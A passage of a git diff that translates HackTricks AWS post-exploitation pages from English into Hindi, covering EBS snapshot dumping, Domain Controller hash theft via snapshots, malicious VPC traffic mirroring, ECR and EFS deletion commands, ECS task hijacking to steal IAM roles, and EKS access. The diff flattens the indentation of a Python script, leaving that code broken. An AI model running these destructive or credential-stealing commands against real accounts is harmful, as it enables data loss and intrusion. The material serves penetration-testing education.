snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..660eff229 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## एक स्नैपशॉट को स्थानीय रूप से जांचना ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **नोट** कि `dsnap` आपको सार्वजनिक स्नैपशॉट डाउनलोड करने की अनुमति नहीं देगा। इससे बचने के लिए, आप स्नैपशॉट की एक प्रति अपने व्यक्तिगत खाते में बना सकते हैं, और उसे डाउनलोड कर सकते हैं: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +इस तकनीक के बारे में अधिक जानकारी के लिए मूल शोध देखें [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +आप इसे Pacu के साथ [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) मॉड्यूल का उपयोग करके कर सकते हैं +## AWS में एक स्नैपशॉट की जांच करना ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**इसे आपके नियंत्रण में एक EC2 VM में माउंट करें** (यह बैकअप की कॉपी के समान क्षेत्र में होना चाहिए): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +चरण 1: EC2 –> वॉल्यूम पर जाकर आपके पसंद के आकार और प्रकार का एक नया वॉल्यूम बनाया जाना है। -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +इस क्रिया को करने के लिए, इन कमांड का पालन करें: -To be able to perform this action, follow these commands: +- EC2 इंस्टेंस से जोड़ने के लिए एक EBS वॉल्यूम बनाएं। +- सुनिश्चित करें कि EBS वॉल्यूम और इंस्टेंस एक ही जोन में हैं। -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +चरण 2: बनाए गए वॉल्यूम पर राइट-क्लिक करके "जोड़ें वॉल्यूम" विकल्प का चयन किया जाना है। -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +चरण 3: इंस्टेंस टेक्स्ट बॉक्स से इंस्टेंस का चयन किया जाना है। -Step 3: The instance from the instance text box is to be selected. +इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें: -To be able to perform this action, use the following command: +- EBS वॉल्यूम को जोड़ें। -- Attach the EBS volume. +चरण 4: EC2 इंस्टेंस में लॉगिन करें और कमांड `lsblk` का उपयोग करके उपलब्ध डिस्क की सूची बनाएं। -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +चरण 5: कमांड `sudo file -s /dev/xvdf` का उपयोग करके जांचें कि वॉल्यूम में कोई डेटा है या नहीं। -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +यदि उपरोक्त कमांड का आउटपुट "/dev/xvdf: data" दिखाता है, तो इसका मतलब है कि वॉल्यूम खाली है। -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +चरण 6: कमांड `sudo mkfs -t ext4 /dev/xvdf` का उपयोग करके वॉल्यूम को ext4 फाइल सिस्टम में फॉर्मेट करें। वैकल्पिक रूप से, आप कमांड `sudo mkfs -t xfs /dev/xvdf` का उपयोग करके xfs फॉर्मेट भी कर सकते हैं। कृपया ध्यान दें कि आपको या तो ext4 या xfs का उपयोग करना चाहिए। -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +चरण 7: नए ext4 वॉल्यूम को माउंट करने के लिए अपनी पसंद का एक डायरेक्टरी बनाएं। उदाहरण के लिए, आप "newvolume" नाम का उपयोग कर सकते हैं। -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +इस क्रिया को करने के लिए, कमांड `sudo mkdir /newvolume` का उपयोग करें। -To be able to perform this action, use the command `sudo mkdir /newvolume`. +चरण 8: कमांड `sudo mount /dev/xvdf /newvolume/` का उपयोग करके वॉल्यूम को "newvolume" डायरेक्टरी में माउंट करें। -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +चरण 9: "newvolume" डायरेक्टरी में डायरेक्टरी बदलें और वॉल्यूम माउंट को मान्य करने के लिए डिस्क स्पेस की जांच करें। -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें: -To be able to perform this action, use the following commands: +- `/newvolume` में डायरेक्टरी बदलें। +- कमांड `df -h .` का उपयोग करके डिस्क स्पेस की जांच करें। इस कमांड का आउटपुट "newvolume" डायरेक्टरी में फ्री स्पेस दिखाना चाहिए। -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +आप इसे Pacu के साथ `ebs__explore_snapshots` मॉड्यूल का उपयोग करके कर सकते हैं। +## AWS में एक स्नैपशॉट की जांच करना (cli का उपयोग करके) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे इंस्टेंस पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है। -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +आप इस उपकरण का उपयोग हमले को स्वचालित करने के लिए कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं। ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..1ff14b96f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,16 +4,12 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +क्लाउड वातावरण में पैसिव नेटवर्क निरीक्षण **चुनौतीपूर्ण** रहा है, जिसके लिए नेटवर्क ट्रैफ़िक की निगरानी के लिए प्रमुख कॉन्फ़िगरेशन परिवर्तनों की आवश्यकता होती है। हालाँकि, AWS द्वारा “**VPC ट्रैफ़िक मिररिंग**” नामक एक नई सुविधा पेश की गई है जो इस प्रक्रिया को सरल बनाती है। VPC ट्रैफ़िक मिररिंग के साथ, VPCs के भीतर नेटवर्क ट्रैफ़िक को बिना किसी सॉफ़्टवेयर को इंस्टेंस पर स्थापित किए **डुप्लिकेट** किया जा सकता है। यह डुप्लिकेट किया गया ट्रैफ़िक नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) के लिए **विश्लेषण** के लिए भेजा जा सकता है। -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +VPC ट्रैफ़िक को मिररिंग और एक्सफिल्ट्रेट करने के लिए आवश्यक बुनियादी ढांचे की **स्वचालित तैनाती** की आवश्यकता को संबोधित करने के लिए, हमने “**malmirror**” नामक एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट विकसित की है। इस स्क्रिप्ट का उपयोग **समझौता किए गए AWS क्रेडेंशियल्स** के साथ लक्षित VPC में सभी समर्थित EC2 इंस्टेंस के लिए मिररिंग सेट करने के लिए किया जा सकता है। यह ध्यान रखना महत्वपूर्ण है कि VPC ट्रैफ़िक मिररिंग केवल AWS नाइट्रो सिस्टम द्वारा संचालित EC2 इंस्टेंस द्वारा समर्थित है, और VPC मिरर लक्ष्य को मिरर किए गए होस्ट के समान VPC के भीतर होना चाहिए। -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +दुष्ट VPC ट्रैफ़िक मिररिंग का **प्रभाव** महत्वपूर्ण हो सकता है, क्योंकि यह हमलावरों को VPCs के भीतर प्रसारित **संवेदनशील जानकारी** तक पहुँचने की अनुमति देता है। ऐसे दुष्ट मिररिंग की **संभावना** उच्च है, यह देखते हुए कि VPCs के माध्यम से **स्पष्ट पाठ ट्रैफ़िक** बह रहा है। कई कंपनियाँ **प्रदर्शन कारणों** के लिए अपने आंतरिक नेटवर्क में स्पष्ट पाठ प्रोटोकॉल का उपयोग करती हैं, यह मानते हुए कि पारंपरिक मैन-इन-द-मिडल हमले संभव नहीं हैं। -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +अधिक जानकारी और [**malmirror स्क्रिप्ट**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) तक पहुँच के लिए, इसे हमारे **GitHub रिपॉजिटरी** पर पाया जा सकता है। यह स्क्रिप्ट प्रक्रिया को स्वचालित और सरल बनाती है, जिससे यह **तेज़, सरल, और दोहराने योग्य** हो जाता है आक्रामक अनुसंधान उद्देश्यों के लिए। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..bf329508d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -4,14 +4,13 @@ ## ECR -For more information check +अधिक जानकारी के लिए देखें {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### लॉगिन, पुल और पुश ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +इमेज डाउनलोड करने के बाद आपको **संवेदनशील जानकारी के लिए उन्हें जांचना चाहिए**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +इनमें से किसी भी अनुमति के साथ एक हमलावर **सभी इमेज को हटाने के लिए एक जीवनचक्र नीति बना या संशोधित कर सकता है** और फिर **पूरे ECR रिपॉजिटरी को हटा सकता है**। इसके परिणामस्वरूप रिपॉजिटरी में संग्रहीत सभी कंटेनर इमेज का नुकसान होगा। ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..f84808d9d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -4,50 +4,45 @@ ## ECS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### होस्ट IAM भूमिकाएँ -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +ECS में एक **IAM भूमिका को कंटेनर के अंदर चल रहे कार्य** को सौंपा जा सकता है। **यदि** कार्य एक **EC2** उदाहरण के अंदर चलाया जाता है, तो **EC2 उदाहरण** के साथ **एक और IAM** भूमिका जुड़ी होगी।\ +जिसका मतलब है कि यदि आप एक ECS उदाहरण को **समझौता** करने में सफल होते हैं, तो आप संभावित रूप से **ECR और EC2 उदाहरण से संबंधित IAM भूमिका प्राप्त कर सकते हैं**। उन क्रेडेंशियल्स को प्राप्त करने के तरीके के बारे में अधिक जानकारी के लिए देखें: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेज़ों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप सीमा 1** होगी, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा। -### Privesc to node to steal other containers creds & secrets +### अन्य कंटेनरों के क्रेड्स और रहस्यों को चुराने के लिए नोड पर प्रिवेस्क -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +लेकिन इसके अलावा, EC2 ECs कार्यों को चलाने के लिए डॉकर का उपयोग करता है, इसलिए यदि आप नोड पर भागने में सक्षम हैं या **डॉकर सॉकेट तक पहुंच** प्राप्त कर सकते हैं, तो आप **चेक** कर सकते हैं कि **कौन से अन्य कंटेनर** चल रहे हैं, और यहां तक कि **उनमें प्रवेश कर सकते हैं** और **उनकी IAM भूमिकाएँ** चुरा सकते हैं। -#### Making containers run in current host - -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +#### वर्तमान होस्ट में कंटेनरों को चलाना +इसके अलावा, **EC2 उदाहरण की भूमिका** आमतौर पर क्लस्टर के अंदर नोड के रूप में उपयोग किए जा रहे EC2 उदाहरणों की **कंटेनर उदाहरण स्थिति** को **अपडेट** करने के लिए पर्याप्त **अनुमतियाँ** रखेगी। एक हमलावर **DRAINING** के लिए एक उदाहरण की **स्थिति को संशोधित** कर सकता है, फिर ECS **इससे सभी कार्यों को हटा देगा** और जो **REPLICA** के रूप में चल रहे हैं, उन्हें **एक अलग उदाहरण में चलाया जाएगा,** संभावित रूप से **हमलावर के उदाहरण** के अंदर ताकि वह **उनकी IAM भूमिकाएँ** और संभावित संवेदनशील जानकारी को कंटेनर के अंदर से **चुरा सके।** ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +यह वही तकनीक है जिसे **क्लस्टर से EC2 इंस्टेंस को डीरजिस्टर करके** किया जा सकता है। यह संभावित रूप से कम छिपा हुआ है लेकिन यह **अन्य इंस्टेंस में कार्यों को चलाने के लिए मजबूर करेगा:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +एक अंतिम तकनीक कार्यों को फिर से निष्पादित करने के लिए ECS को यह संकेत देना है कि **कार्य या कंटेनर बंद हो गया**। इसे करने के लिए 3 संभावित APIs हैं: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### ECR कंटेनरों से संवेदनशील जानकारी चुराना -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +EC2 उदाहरण के पास शायद `ecr:GetAuthorizationToken` अनुमति होगी, जिससे यह **छवियों को डाउनलोड** कर सकेगा (आप इनमें संवेदनशील जानकारी के लिए खोज कर सकते हैं)। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..d32730d08 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - EFS Post Exploitation +# AWS - EFS पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +एक हमलावर एक माउंट टारगेट को हटा सकता है, जिससे उस माउंट टारगेट पर निर्भर एप्लिकेशन और उपयोगकर्ताओं के लिए EFS फ़ाइल प्रणाली तक पहुंच बाधित हो सकती है। ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**संभावित प्रभाव**: फ़ाइल प्रणाली तक पहुँच में बाधा और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि। ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +एक हमलावर पूरे EFS फ़ाइल प्रणाली को हटा सकता है, जिससे डेटा हानि हो सकती है और फ़ाइल प्रणाली पर निर्भर अनुप्रयोगों पर प्रभाव पड़ सकता है। ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**संभावित प्रभाव**: हटाए गए फ़ाइल सिस्टम का उपयोग करने वाले अनुप्रयोगों के लिए डेटा हानि और सेवा में बाधा। ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +एक हमलावर EFS फ़ाइल सिस्टम की विशेषताओं को अपडेट कर सकता है, जैसे थ्रूपुट मोड, ताकि इसके प्रदर्शन पर प्रभाव पड़े या संसाधन समाप्ति का कारण बने। ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**संभावित प्रभाव**: फ़ाइल प्रणाली के प्रदर्शन में गिरावट या संसाधन समाप्ति। -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` और `elasticfilesystem:DeleteAccessPoint` +एक हमलावर एक्सेस पॉइंट बना या हटा सकता है, एक्सेस नियंत्रण को बदल सकता है और संभावित रूप से फ़ाइल प्रणाली तक अनधिकृत पहुँच प्राप्त कर सकता है। ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**संभावित प्रभाव**: फ़ाइल प्रणाली तक अनधिकृत पहुँच, डेटा का खुलासा या संशोधन। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..0e27e49d8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,110 +4,103 @@ ## EKS -For mor information check +अधिक जानकारी के लिए देखें {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### AWS कंसोल से क्लस्टर की गणना करें -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS कंसोल के माध्यम से **Kubernetes ऑब्जेक्ट्स** को **देख** सकते हैं ([अधिक जानें](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))। -### Connect to AWS Kubernetes Cluster - -- Easy way: +### AWS Kubernetes क्लस्टर से कनेक्ट करें +- आसान तरीका: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- इतना आसान तरीका नहीं: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +यदि आप **`aws eks get-token --name `** के साथ **एक टोकन प्राप्त कर सकते हैं** लेकिन आपके पास क्लस्टर जानकारी (describeCluster) प्राप्त करने की अनुमति नहीं है, तो आप **अपना खुद का `~/.kube/config` तैयार कर सकते हैं**। हालांकि, टोकन होने पर, आपको **जुड़ने के लिए url endpoint की आवश्यकता है** (यदि आप एक पॉड से JWT टोकन प्राप्त करने में सफल रहे [यहाँ पढ़ें](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) और **क्लस्टर का नाम**। +मेरे मामले में, मैंने CloudWatch लॉग में जानकारी नहीं पाई, लेकिन मैंने **LaunchTemplates userData** में और **EC2 मशीनों में userData में भी** इसे पाया। आप इस जानकारी को **userData** में आसानी से देख सकते हैं, उदाहरण के लिए अगले उदाहरण में (क्लस्टर का नाम cluster-name था): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com 